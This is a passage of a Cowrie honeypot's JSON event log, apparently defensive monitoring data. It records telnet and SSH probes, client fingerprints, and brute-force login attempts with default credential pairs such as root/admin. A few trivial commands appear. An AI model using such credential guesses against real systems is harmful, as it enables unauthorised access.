r","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:34.464673Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.206834077835083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:34.758560Z","src_ip":"50.6.18.72","session":"8a9757f67ac1","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.074278Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b8d3a54b74","protocol":"telnet","message":"New connection: 50.6.18.72:59736 (159.203.135.109:23) [session: 90b8d3a54b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.100483Z"}
{"eventid":"cowrie.session.closed","duration":31.11354398727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.129066Z","src_ip":"50.6.18.72","session":"ff51a5c24c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14912724494934,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.654440Z","src_ip":"50.6.18.72","session":"98230d0fbd74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42508,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ba951472e89","protocol":"telnet","message":"New connection: 50.6.18.72:42508 (159.203.135.109:23) [session: 1ba951472e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.662274Z"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.669628Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.673781Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.678069Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.682822Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59734,"dst_ip":"159.203.135.109","dst_port":23,"session":"72e47f8700de","protocol":"telnet","message":"New connection: 50.6.18.72:59734 (159.203.135.109:23) [session: 72e47f8700de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:35.846313Z"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.018165Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.096766471862793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.152511Z","src_ip":"50.6.18.72","session":"457651956d3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ce79b0872e4","protocol":"telnet","message":"New connection: 50.6.18.72:42512 (159.203.135.109:23) [session: 3ce79b0872e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.176199Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.234111Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59740,"dst_ip":"159.203.135.109","dst_port":23,"session":"1128644f8b2e","protocol":"telnet","message":"New connection: 50.6.18.72:59740 (159.203.135.109:23) [session: 1128644f8b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.360912Z"}
{"eventid":"cowrie.session.closed","duration":31.869852304458618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.460202Z","src_ip":"50.6.18.72","session":"faa7380411a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.918964385986328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.484421Z","src_ip":"50.6.18.72","session":"5ea05c981762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42786478996277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.610366Z","src_ip":"50.6.18.72","session":"06bb3739f143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69933295249939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.619617Z","src_ip":"50.6.18.72","session":"b6b04eb3eb76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42526,"dst_ip":"159.203.135.109","dst_port":23,"session":"9835927e63de","protocol":"telnet","message":"New connection: 50.6.18.72:42526 (159.203.135.109:23) [session: 9835927e63de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.684449Z"}
{"eventid":"cowrie.session.closed","duration":31.17668843269348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.688004Z","src_ip":"50.6.18.72","session":"587f510680ab","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.699131Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.40251088142395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.735815Z","src_ip":"50.6.18.72","session":"cccbd44e7d58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68516731262207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.743867Z","src_ip":"50.6.18.72","session":"d3e61cd004a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374189138412476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.784587Z","src_ip":"50.6.18.72","session":"987e19d3ec8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646007537841797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:36.897915Z","src_ip":"50.6.18.72","session":"cdd099f6a1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11315941810608,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.106643Z","src_ip":"50.6.18.72","session":"6c942097646d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070541858673096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.156188Z","src_ip":"50.6.18.72","session":"e4b4464db748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.970011472702026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.298850Z","src_ip":"50.6.18.72","session":"3fe3f597e923","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.457340Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.461561Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.470419Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.474248Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42546,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f1c73a4c4c0","protocol":"telnet","message":"New connection: 50.6.18.72:42546 (159.203.135.109:23) [session: 2f1c73a4c4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.508893Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42540,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89ca2b3adc8","protocol":"telnet","message":"New connection: 50.6.18.72:42540 (159.203.135.109:23) [session: f89ca2b3adc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.514551Z"}
{"eventid":"cowrie.session.closed","duration":30.53602957725525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.597026Z","src_ip":"50.6.18.72","session":"83dc508f61b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112146615982056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.619044Z","src_ip":"50.6.18.72","session":"18a5cdcb6576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116044521331787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:37.972530Z","src_ip":"50.6.18.72","session":"3871ee5603c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42548,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ec03122ad96","protocol":"telnet","message":"New connection: 50.6.18.72:42548 (159.203.135.109:23) [session: 4ec03122ad96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.050770Z"}
{"eventid":"cowrie.session.closed","duration":31.58305788040161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.061555Z","src_ip":"50.6.18.72","session":"ff95501c2983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378076791763306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.258289Z","src_ip":"50.6.18.72","session":"ef6d720fe978","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.457913Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.019760131835938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.539832Z","src_ip":"50.6.18.72","session":"4479c6a9b5ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.269296646118164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.604605Z","src_ip":"50.6.18.72","session":"3b2270b937cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90469264984131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.619009Z","src_ip":"50.6.18.72","session":"2510bfda6c9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512837409973145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.639333Z","src_ip":"50.6.18.72","session":"a025a309bc65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27694797515869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.767701Z","src_ip":"50.6.18.72","session":"aecef903ce12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.378649950027466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:38.781303Z","src_ip":"50.6.18.72","session":"17cce37978e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976640224456787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:39.097411Z","src_ip":"50.6.18.72","session":"9dc3d5ff3914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42556,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c28f6f340f","protocol":"telnet","message":"New connection: 50.6.18.72:42556 (159.203.135.109:23) [session: 58c28f6f340f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:39.185979Z"}
{"eventid":"cowrie.session.closed","duration":31.416759729385376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:39.223758Z","src_ip":"50.6.18.72","session":"ec61daacb870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.336816787719727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:39.286325Z","src_ip":"50.6.18.72","session":"2d7fd216b578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852331399917603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:39.757002Z","src_ip":"50.6.18.72","session":"f45fed2145b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593517541885376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:39.947341Z","src_ip":"50.6.18.72","session":"f2fb303cbd61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6271e63bae","protocol":"telnet","message":"New connection: 50.6.18.72:42568 (159.203.135.109:23) [session: 6e6271e63bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.132931Z"}
{"eventid":"cowrie.session.closed","duration":31.883309602737427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.476426Z","src_ip":"50.6.18.72","session":"3ba15e394fbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112659692764282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.488070Z","src_ip":"50.6.18.72","session":"29951d796b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20032262802124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.610117Z","src_ip":"50.6.18.72","session":"957e4ae98220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11644411087036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.748678Z","src_ip":"50.6.18.72","session":"2c3c78679471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.445184469223022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.755092Z","src_ip":"50.6.18.72","session":"9f639474b797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.568437576293945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.780038Z","src_ip":"50.6.18.72","session":"7101a3adda5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547542095184326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:40.882740Z","src_ip":"50.6.18.72","session":"3e0af9c2f53d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543256998062134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.075494Z","src_ip":"50.6.18.72","session":"dcec9bc78a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":38710,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf360191d00c","protocol":"ssh","message":"New connection: 154.198.162.75:38710 (10.17.0.5:22) [session: cf360191d00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.105604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.111053Z","src_ip":"154.198.162.75","session":"cf360191d00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.125158071517944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.167257Z","src_ip":"50.6.18.72","session":"948a2e6215ad","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.316593Z","src_ip":"154.198.162.75","session":"cf360191d00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.114062309265137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.369047Z","src_ip":"50.6.18.72","session":"aa523dcb212f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81221079826355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.672534Z","src_ip":"50.6.18.72","session":"aab5821513e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47362,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb2611f95eb9","protocol":"telnet","message":"New connection: 45.58.127.90:47362 (10.17.0.5:23) [session: eb2611f95eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:41.846717Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"deploy123456","message":"login attempt [ubuntu/deploy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:42.176030Z","src_ip":"154.198.162.75","session":"cf360191d00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.150727033615112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:42.647730Z","src_ip":"50.6.18.72","session":"ba2cacb74776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082772493362427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:42.739833Z","src_ip":"50.6.18.72","session":"b9069f1d0db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42584,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fecc39a8860","protocol":"telnet","message":"New connection: 50.6.18.72:42584 (159.203.135.109:23) [session: 4fecc39a8860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:42.757609Z"}
{"eventid":"cowrie.session.closed","duration":30.902962684631348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:42.804812Z","src_ip":"50.6.18.72","session":"1b0c3e9168ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42592,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd9744f5e1e","protocol":"telnet","message":"New connection: 50.6.18.72:42592 (159.203.135.109:23) [session: cdd9744f5e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:42.949921Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42620,"dst_ip":"159.203.135.109","dst_port":23,"session":"342ef55a44b7","protocol":"telnet","message":"New connection: 50.6.18.72:42620 (159.203.135.109:23) [session: 342ef55a44b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:43.199060Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:43.384023Z","src_ip":"154.198.162.75","session":"cf360191d00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.117338180541992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:43.505128Z","src_ip":"50.6.18.72","session":"8b8ca49665cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":39096,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab386cbe3c3","protocol":"telnet","message":"New connection: 69.162.99.242:39096 (159.203.135.109:23) [session: dab386cbe3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:43.582676Z"}
